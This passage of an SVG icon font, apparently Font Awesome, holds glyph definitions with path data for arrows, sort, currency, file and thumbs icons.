<glyph unicode="&#xf136;" horiz-adv-x="1792" d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
<glyph unicode="&#xf137;" d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf138;" d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf139;" d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf13a;" d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf13b;" horiz-adv-x="1408" d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
<glyph unicode="&#xf13c;" horiz-adv-x="1792" d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
<glyph unicode="&#xf13d;" horiz-adv-x="1792" d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-13 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352 q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19 t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf13e;" horiz-adv-x="1152" d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181 v-320h736z" />
<glyph unicode="&#xf140;" d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150 t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf141;" horiz-adv-x="1408" d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf142;" horiz-adv-x="384" d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf143;" d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 232 -177 396t-396 177q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128q13 0 23 10 t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960q0 -119 -84.5 -203.5 t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf144;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56 q16 -8 32 -8q17 0 32 9z" />
<glyph unicode="&#xf145;" horiz-adv-x="1792" d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136 t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
<glyph unicode="&#xf146;" d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5 t84.5 -203.5z" />
<glyph unicode="&#xf147;" horiz-adv-x="1408" d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5 t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf148;" horiz-adv-x="1024" d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
<glyph unicode="&#xf149;" horiz-adv-x="1024" d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
<glyph unicode="&#xf14a;" d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5 t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf14b;" d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf14c;" d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960 q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf14d;" d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q10 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5 t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf14e;" d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf150;" d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf151;" d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf152;" d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5 t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf153;" horiz-adv-x="1024" d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9 t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26 l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
<glyph unicode="&#xf154;" horiz-adv-x="1024" d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7 q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
<glyph unicode="&#xf155;" horiz-adv-x="1024" d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43 t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5 t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50 t53 -63.5t31.5 -76.5t13 -94z" />
<glyph unicode="&#xf156;" horiz-adv-x="898" d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102 q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf157;" horiz-adv-x="1027" d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61 l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
<glyph unicode="&#xf158;" horiz-adv-x="1280" d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128 q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
<glyph unicode="&#xf159;" horiz-adv-x="1792" d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23 t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28 q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf15a;" horiz-adv-x="1280" d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164 l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30 t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
<glyph unicode="&#xf15b;" d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
<glyph unicode="&#xf15c;" d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704 q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
<glyph unicode="&#xf15d;" horiz-adv-x="1664" d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23 v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162 l230 -662h70z" />
<glyph unicode="&#xf15e;" horiz-adv-x="1664" d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150 v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248 v119h121z" />
<glyph unicode="&#xf160;" horiz-adv-x="1792" d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832 q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf161;" horiz-adv-x="1792" d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192 q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf162;" d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23 zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5 t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
<glyph unicode="&#xf163;" d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9 t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13 q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
<glyph unicode="&#xf164;" horiz-adv-x="1664" d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76 q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5 t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
<glyph unicode="&#xf165;" horiz-adv-x="1664" d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135 t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121 t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
